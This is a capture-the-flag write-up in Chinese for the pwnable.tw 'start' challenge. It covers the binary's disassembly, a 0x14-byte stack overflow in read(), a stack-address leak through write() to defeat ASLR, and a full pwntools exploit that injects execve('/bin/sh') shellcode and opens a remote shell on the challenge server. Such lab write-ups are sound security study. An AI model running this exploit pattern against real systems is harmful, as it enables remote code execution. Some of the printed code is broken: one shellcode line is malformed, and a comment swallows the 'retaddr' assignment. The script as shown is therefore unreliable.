题目
.text:08048060 public _start
.text:08048060 _start proc near
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
该题由汇编写成,比较简短,且checksec出无其他保护措施
分析
1.可以看到两个int 80h指令(linux系统中的系统调用是通过该指令执行的)参考文章
其中第一个int 80h的调用号是4(al存放调用号),对应的调用write函数
其中第二个int 80h的调用号是3,对应的调用read函数
(他们对应的参数分别存放在各个寄存器上)
2.read函数存在溢出
溢出偏移为0x14
由于该程序无栈保护,我们直接将shellcode填写到栈上
但由于地址空间随机化(ASLR),我们每次打开程序其都会将栈的地址随机化,我们将eip控制返回到我们栈时,我们是不知道此时的栈地址的,故我们需要利用rop先将栈的地址泄露
3. 利用前面的write函数打印栈地址
将返回地址更改为0x8048087
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
所以我们的第一个payload为
writeaddr=0x8048087
payload1=b'a'*(0x14)+p32(writeaddr)
得到的栈地址还需要加上0x14,因为到后面read函数时栈回回收(add esp,0x14)
leakaddr=u32(p.recv(4))
retaddr=(leakaddr+0x14)
此时第二个payload为
shellcode=b''/x31/xc0/x31/xd2/x52/x68/x2f/x2f/x73/x68/x68/x2f/x62/x69/6e"
payload2=b'a'*(0x14)+p32(retaddr+0x14)+shellcode
完整poc
from pwn import*
#p=process("/home/zzr/桌面/start")
p=remote("chall.pwnable.tw",10000)
context(log_level='debug',arch='i386',os='linux')#gdb.debug(p,'break start')
#gdb.attach(p)
#pause()
p.recv()#payload=p32(0x8048060)
#p.sendline(payload)#shellcode=asm(shellcraft.sh())
shellcode=b"\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"
payload1=b'a'*(0x14)+p32(0x8048087)#gdb.attach(p)
#pause()
p.send(payload1)
#p.recv(4)
leakaddr=u32(p.recv(4))
#leakaddr=u32(p.recv(4))
print(hex(leakaddr))
#print(addr)retaddr=leakaddr
print(hex(retaddr))
#gdb.attach(p)
#pause()
payload2=b'a'*(0x14)+p32(retaddr+0x14)+shellcode
#pause()
p.sendline(payload2)
p.interactive()
总结
还是得多调试